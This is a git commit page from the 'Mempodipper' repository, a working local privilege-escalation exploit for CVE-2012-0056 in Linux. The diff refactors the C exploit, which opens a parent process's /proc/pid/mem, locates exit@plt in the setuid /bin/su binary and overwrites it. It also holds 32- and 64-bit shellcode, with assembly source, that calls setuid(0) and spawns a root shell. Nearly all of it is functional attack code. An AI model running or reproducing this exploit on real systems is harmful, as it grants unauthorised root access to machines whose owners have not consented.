aboutsummaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
authorJason A. Donenfeld <Jason@zx2c4.com>2012-01-24 18:54:47 +0100
committerJason A. Donenfeld <Jason@zx2c4.com>2012-01-24 18:59:17 +0100
commite4b69563110bcf08b8f4f442096d5b3df2bb3ed9 (patch)
tree24cb12b126da6ffb3aafa12078cbde9aedccc845
parentSearch for IP of next jmp instead. (diff)
downloadCVE-2012-0056-e4b69563110bcf08b8f4f442096d5b3df2bb3ed9.tar.xz
CVE-2012-0056-e4b69563110bcf08b8f4f442096d5b3df2bb3ed9.zip
Move things into separate functions.
-rw-r--r--mempodipper.c141
-rw-r--r--shellcode-32.s4
-rw-r--r--shellcode-64.s4
3 files changed, 93 insertions, 56 deletions
diff --git a/mempodipper.c b/mempodipper.c
index e35d62a..5cd9c4a 100644
--- a/mempodipper.c
+++ b/mempodipper.c
@@ -32,6 +32,8 @@
#include <unistd.h>
#include <limits.h>
+char *prog_name;
+
int send_fd(int sock, int fd)
{
char buf[1];
@@ -98,11 +100,14 @@ int recv_fd(int sock)
unsigned long ptrace_address()
{
int fd[2];
+ printf("[+] Creating ptrace pipe.\n");
pipe2(fd, O_NONBLOCK);
+ printf("[+] Forking ptrace child.\n");
int child = fork();
if (child) {
close(fd[1]);
char buf;
+ printf("[+] Waiting for ptraced child to give output on syscalls.\n");
for (;;) {
wait(NULL);
if (read(fd[0], &buf, 1) > 0)
@@ -110,6 +115,7 @@ unsigned long ptrace_address()
ptrace(PTRACE_SYSCALL, child, NULL, NULL);
}
+ printf("[+] Error message written. Single stepping to find address.\n");
struct user_regs_struct regs;
for (;;) {
ptrace(PTRACE_SINGLESTEP, child, NULL, NULL);
@@ -131,7 +137,11 @@ unsigned long ptrace_address()
}
}
} else {
- ptrace(PTRACE_TRACEME, 0, NULL, NULL);
+ printf("[+] Ptrace_traceme'ing process.\n");
+ if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) < 0) {
+ perror("[-] ptrace");
+ return 0;
+ }
close(fd[0]);
dup2(fd[1], 2);
execl("/bin/su", "su", "not-a-valid-user", NULL);
@@ -142,6 +152,10 @@ unsigned long ptrace_address()
unsigned long objdump_address()
{
FILE *command = popen("objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r");
+ if (!command) {
+ perror("[-] popen");
+ return 0;
+ }
char result[32];
result[0] = 0;
fgets(result, 32, command);
@@ -149,33 +163,60 @@ unsigned long objdump_address()
return strtoul(result, NULL, 16);
}
-int main(int argc, char **argv)
+unsigned long find_address()
{
- if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c') {
- char parent_mem[256];
- sprintf(parent_mem, "/proc/%d/mem", getppid());
- printf("[+] Opening parent mem %s in child.\n", parent_mem);
- int fd = open(parent_mem, O_RDWR);
- if (fd < 0) {
- perror("[-] open");
- return 1;
+ printf("[+] Ptracing su to find next instruction without reading binary.\n");
+ unsigned long address = ptrace_address();
+ if (!address) {
+ printf("[-] Ptrace failed.\n");
+ printf("[+] Reading su binary with objdump to find exit@plt.\n");
+ address = objdump_address();
+ if (address == ULONG_MAX || !address) {
+ printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n");
+ printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", prog_name, prog_name);
+ exit(-1);
}
- printf("[+] Sending fd %d to parent.\n", fd);
- send_fd(atoi(argv[2]), fd);
- return 0;
}
-
- printf("===============================\n");
- printf("= Mempodipper =\n");
- printf("= by zx2c4 =\n");
- printf("= Jan 21, 2012 =\n");
- printf("===============================\n\n");
-
+ printf("[+] Resolved call address to 0x%lx.\n", address);
+ return address;
+}
+
+int su_padding()
+{
+ printf("[+] Calculating su padding.\n");
+ FILE *command = popen("/bin/su this-user-does-not-exist 2>&1", "r");
+ if (!command) {
+ perror("[-] popen");
+ exit(1);
+ }
+ char result[256];
+ fgets(result, 256, command);
+ pclose(command);
+ return strstr(result, "this-user-does-not-exist") - result;
+}
+
+int child(int sock)
+{
+ char parent_mem[256];
+ sprintf(parent_mem, "/proc/%d/mem", getppid());
+ printf("[+] Opening parent mem %s in child.\n", parent_mem);
+ int fd = open(parent_mem, O_RDWR);
+ if (fd < 0) {
+ perror("[-] open");
+ return 1;
+ }
+ printf("[+] Sending fd %d to parent.\n", fd);
+ send_fd(sock, fd);
+ return 0;
+}
+
+int parent(unsigned long address)
+{
int sockets[2];
printf("[+] Opening socketpair.\n");
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sockets) < 0) {
perror("[-] socketpair");
- return -1;
+ return 1;
}
if (fork()) {
printf("[+] Waiting for transferred fd in parent.\n");
@@ -183,38 +224,13 @@ int main(int argc, char **argv)
printf("[+] Received fd at %d.\n", fd);
if (fd < 0) {
perror("[-] recv_fd");
- return -1;
+ return 1;
}
printf("[+] Assigning fd %d to stderr.\n", fd);
- dup2(2, 6);
+ dup2(2, 15);
dup2(fd, 2);
- unsigned long address;
- if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o')
- address = strtoul(argv[2], NULL, 16);
- else {
- printf("[+] Ptracing su to find next instruction without reading binary.\n");
- address = ptrace_address();
- if (!address) {
- printf("[-] Ptrace failed.\n");
- printf("[+] Reading su binary with objdump to find exit@plt.\n");
- address = objdump_address();
- if (address == ULONG_MAX || !address) {
- printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n");
- printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", argv[0], argv[0]);
- return 1;
- }
- }
- printf("[+] Resolved exit@plt to 0x%lx.\n", address);
- }
- printf("[+] Calculating su padding.\n");
- FILE *command = popen("/bin/su this-user-does-not-exist 2>&1", "r");
- char result[256];
- result[0] = 0;
- fgets(result, 256, command);
- pclose(command);
- unsigned long su_padding = (strstr(result, "this-user-does-not-exist") - result) / sizeof(char);
- unsigned long offset = address - su_padding;
+ unsigned long offset = address - su_padding();
printf("[+] Seeking to offset 0x%lx.\n", offset);
lseek64(fd, offset, SEEK_SET);
@@ -222,7 +238,7 @@ int main(int argc, char **argv)
// See shellcode-32.s in this package for the source.
char shellcode[] =
"\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3"
- "\x06\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68"
+ "\x0f\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89"
"\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
"\x80";
@@ -230,7 +246,7 @@ int main(int argc, char **argv)
// See shellcode-64.s in this package for the source.
char shellcode[] =
"\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x48"
- "\x31\xf6\x40\xb7\x06\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f"
+ "\x31\xf6\x40\xb7\x0f\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f"
"\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7"
"\x48\x31\xdb\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50"
"\x51\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";
@@ -243,6 +259,27 @@ int main(int argc, char **argv)
char sock[32];
sprintf(sock, "%d", sockets[0]);
printf("[+] Executing child from child fork.\n");
- execl("/proc/self/exe", argv[0], "-c", sock, NULL);
+ execl("/proc/self/exe", prog_name, "-c", sock, NULL);
}
+ return 0;
+}
+
+int main(int argc, char **argv)
+{
+ prog_name = argv[0];
+
+ if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c')
+ return child(atoi(argv[2]));
+
+ printf("===============================\n");
+ printf("= Mempodipper =\n");
+ printf("= by zx2c4 =\n");
+ printf("= Jan 21, 2012 =\n");
+ printf("===============================\n\n");
+
+ if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o')
+ return parent(strtoul(argv[2], NULL, 16));
+ else
+ return parent(find_address());
+
}
diff --git a/shellcode-32.s b/shellcode-32.s
index bb29701..4cde42e 100644
--- a/shellcode-32.s
+++ b/shellcode-32.s
@@ -13,9 +13,9 @@ int 0x80
xor ebx,ebx
mov al,0x2e
int 0x80
-;dup2(6, 2)
+;dup2(15, 2)
xor ecx,ecx
-mov bl,0x6
+mov bl,0xf
mov cl,0x2
mov al,0x3f
int 0x80
diff --git a/shellcode-64.s b/shellcode-64.s
index 517b617..f091d70 100644
--- a/shellcode-64.s
+++ b/shellcode-64.s
@@ -13,9 +13,9 @@ syscall
xor rdi,rdi
mov al,0x6a
syscall
-;dup2(6, 2)
+;dup2(15, 2)
xor rsi,rsi
-mov dil,0x6
+mov dil,0xf
mov sil,0x2
mov al,0x21
syscall